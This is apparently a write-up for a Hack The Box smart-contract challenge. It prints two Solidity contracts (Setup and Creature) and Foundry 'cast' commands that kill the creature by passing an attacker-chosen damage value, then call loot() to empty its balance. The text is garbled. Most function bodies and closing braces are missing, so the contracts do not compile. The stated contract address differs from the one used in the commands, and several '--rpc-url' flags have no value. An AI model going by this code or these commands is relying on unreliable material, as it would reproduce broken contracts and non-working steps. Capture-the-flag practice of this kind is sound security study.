HTB: Survival of the fittest.

Table of Contents

Getting Started:

Start off by deploying the contract, then go to the $IP/connection_info to find your PrivateKey (PK) and the RPC URL you need to connect to, also download the contract details from the HTB page.

The contracts:

We’re supplied with 2 different contracts, first one being Setup.sol which contains the following code:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Creature} from "./Creature.sol";

contract Setup {
    Creature public immutable TARGET;

    constructor() payable {
        require(msg.value == 1 ether);
        TARGET = new Creature{value: 10}();
    function isSolved() public view returns (bool) {
        return address(TARGET).balance == 0;

And creature.sol with the following data:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract Creature {
    uint256 public lifePoints;
    address public aggro;

    constructor() payable {
        lifePoints = 20;

    function strongAttack(uint256 _damage) external{
    function punch() external {

    function loot() external {
        require(lifePoints == 0, "Creature is still alive!");

    function _dealDamage(uint256 _damage) internal {
        aggro = msg.sender;
        lifePoints -= _damage;


Looking at these files we can see that the Creature which we need to defeat is initialised with lifepoints = 20, which we can see in loot() needs to be 0 before we have completed the challenge. Looking at the function strongAttack(uint256) we can see that we ourself can choose the damage we deal to the creature, so we can just set it to 20 and kill it in one hit. We’ll use Foundry, as it allows us to do everything through command-line which is nice. My contract address was: 0xD360A415F221C3d7ae431056a1d3Fd4574669814, which made my foundry command look like:

cast send 0x8e7E5a4c0bc8e0Cb360D9e498E3494dC9378aEE1 "strongAttack(uint256)" 20 --rpc-url --private-key $PK

After this we can look at lifepoints of the creature with:

cast call --rpc-url 0x8e7E5a4c0bc8e0Cb360D9e498E3494dC9378aEE1 "lifePoints()"

Which just returned 0x, leading me to believe it was solved, this was confirmed by calling:

cast send 0x8e7E5a4c0bc8e0Cb360D9e498E3494dC9378aEE1 "loot()" --rpc-url --private-key $PK

After this we can just go to the $IP/flag to get the flag.